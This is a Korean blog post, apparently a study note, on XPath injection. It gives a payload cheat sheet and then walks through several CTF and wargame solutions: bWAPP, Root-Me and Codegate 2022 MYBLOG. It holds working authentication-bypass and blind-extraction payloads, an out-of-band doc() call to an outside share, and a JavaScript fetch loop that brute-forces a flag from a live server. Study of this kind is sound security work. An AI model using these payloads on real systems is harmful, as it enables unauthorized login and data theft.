개요
최근 CTF에서 Xpath Injection 관련 취약점이 등장 -> 연구

CheatSheet
Exploitation
Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
Blind Exploitation
- Size of a string
and string-length(account)=SIZE_INT - Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
Out Of Band Exploitation
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
문제 풀이
최근 CTF 및 Wargame 관련 문제와 블로그를 참고하였습니다.
bWAPP A1 XML/Xpath Injection (search)


Genre 태그 사용 하는 것 확인
ㄴ 내가 입력한 값 contains() Xpath contains() 함수 사용 추측
ㄴ XPath contains() Function
- 따라서 추측 Query
query : $xpath->query("/path1/path2/[contains(genre,'내가 입력한 값')]");
- Single Quote를 이용한 에러(취약점) 확인

- 페이로드 작성
입력 값
value: ') or 1][('1
예상 쿼리문
query: $xpath->query("/path1/path2/[contains(genre,'')or1][('1')]");

- 따라서 모든 데이터를 가져오기 위해 아래와 같이 익스플로잇
입력값
value : ')] | //* | Oxe82de][('
쿼리문
query : $xpath->query("/path1/path2/[contains(genre, '')] | //* | 0xe82de[('')]");
contains(genre, '')부분은 거짓이 되며, 대괄호로 쿼리를 만들어 주고 Pipe를 사용하여 쿼리를 이어줌
//* 기능은 현재 노드로부터 모든 데이터를 가져오는 기능
따라서 쿼리문은 참이 되고 모든 데이터 출력
*0xe82de[('')] 부분은 의미 없지만 정상적인 쿼리문을 완성하기 위해 사용
ROOTME] XPath injection-Authentication

- 해당 로그인 로직 확인
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"
- 페이로드 작성
SQL Injection에서 'or 1=1 -- 와 같은 XPath Injection 구문은 ' or 1=1 or 'a'='a 이라고 한다.
하지만 문제에서 필요한 것은 관리자 계정에 로그인하는 것이므로, 관리자 권한을 가지고 있는 John으로 제한을 둬야한다.
또한 테스트 결과 1=1 or 'a'='a처럼 논리 연산을 두번 시킬 필요는 없었다.
- 익스플로잇
John' or 1='
해당 페이로드를 입력하면 관리자 권한으로 로그인되며, 플래그인 관리자 패스워드 값을 확인할 수 있다.
ROOTME] XPath injection - String

- 에러(취약점) 확인

- 해당 로그인 로직 확인
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"
- 페이로드 작성
입력 값
value: ')] | //*%00
예상 쿼리
//user/username[contains(., '')] | //*%00')]
//노드이름 은 최상위 노드 아래에 있는 모든 노드를 가리킨다.
패스워드가 저장된 태그이름을 모르므로 * 와일드 카드를 사용하여 모든 노드를 가리키게 만들었으며
마지막에 %00 널 바이트를 삽입하여 뒤에 싱글쿼터의 쌍을 맞춰주지 않아도 에러가 발생하지 않고 쿼리가 정상 실행된다.
결과적으로 <user>부터 최하위 노드까지 모두 출력된다.
- 익스플로잇
value: ')] | //*%00
최하위 노드까지 모두 출력 하여 플래그 획득
[Codegate2022예선] (WEB) MYBLOG
- 코드분석
jsp 파일에는 register, login, write, read 기능이 전부였는데, 회원가입 및 로그인 후 제목과 내용을 입력하고 글을 쓰면 /read?idx=1 URL 경로로 요청하면 글을 읽을 수 있었습니다.
그리고 /read 경로를 요청했을 때 연결되는 Servlet 으로는 blogServlet.class 가 있었는데, 디컴파일 해보면 아래와 같습니다.
private String[] doReadArticle(HttpServletRequest req) {
String id = (String) req.getSession().getAttribute("id");
String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null) {
return null;
}
try {
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
XPath xpath = XPathFactory.newInstance().newXPath();
return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING)).trim())};
} catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}
파라미터로 주어진 idx 값이 xpath.evaluate 함수로 어떤 필터링도 없이 넘어가는 것을 확인할 수 있었습니다. 이로써 XPATH Injection 이 가능해짐을 알 수 있습니다.
그리고 XSLT Functions 들 중에서 신기한 함수 하나가 있었는데요.
https://www.w3.org/TR/xslt20/#function-system-property
- 익스플로잇
var chars = 'abcdef0123456789{}';
var flag = 'codegate2022';
var i=0;
while(1){
for(i=0; i<chars.length;i++){
var f = await fetch("http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27"+flag+encodeURIComponent(chars[i])+"%27)%20or%20%27", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "no-cache",
"pragma": "no-cache",
"upgrade-insecure-requests": "1"
},
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
var r = await f.text();
if(r.includes('test')){
//console.log(chars[i]);
flag = flag.concat(encodeURIComponent(chars[i]));
}
}
if(chars[i] == '}') break;;
}
http://3.39.79.180/blog/read?idx=1' and starts-with(system-property('flag'),'" flag encodeURIComponent(chars[i]) "') or '

참고
https://www.youtube.com/watch?v=c50KFQTq-dk&t=1s
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#blind-exploitation
https://jade9reen.tistory.com/204
https://velog.io/@woounnan/ROOTME-XPath-injection-Authentication
https://domdom.tistory.com/entry/Codegate2022%EC%98%88%EC%84%A0-WEB-MYBLOG
'🌍WEB' 카테고리의 다른 글
| SPA(Angular, React, Vue) 진단 시 참고 (0) | 2023.01.10 |
|---|---|
| SQL Injection 정리 / 상시 업데이트 (0) | 2022.10.18 |
| [JWT] Json Web Token 취약점 (0) | 2022.09.19 |
| 🔐 모의해킹 사이트 구축 & 웹 침투 테스트 (1) | 2021.08.31 |
| 🔆Naver Weather API [PHP]제작 (0) | 2020.09.21 |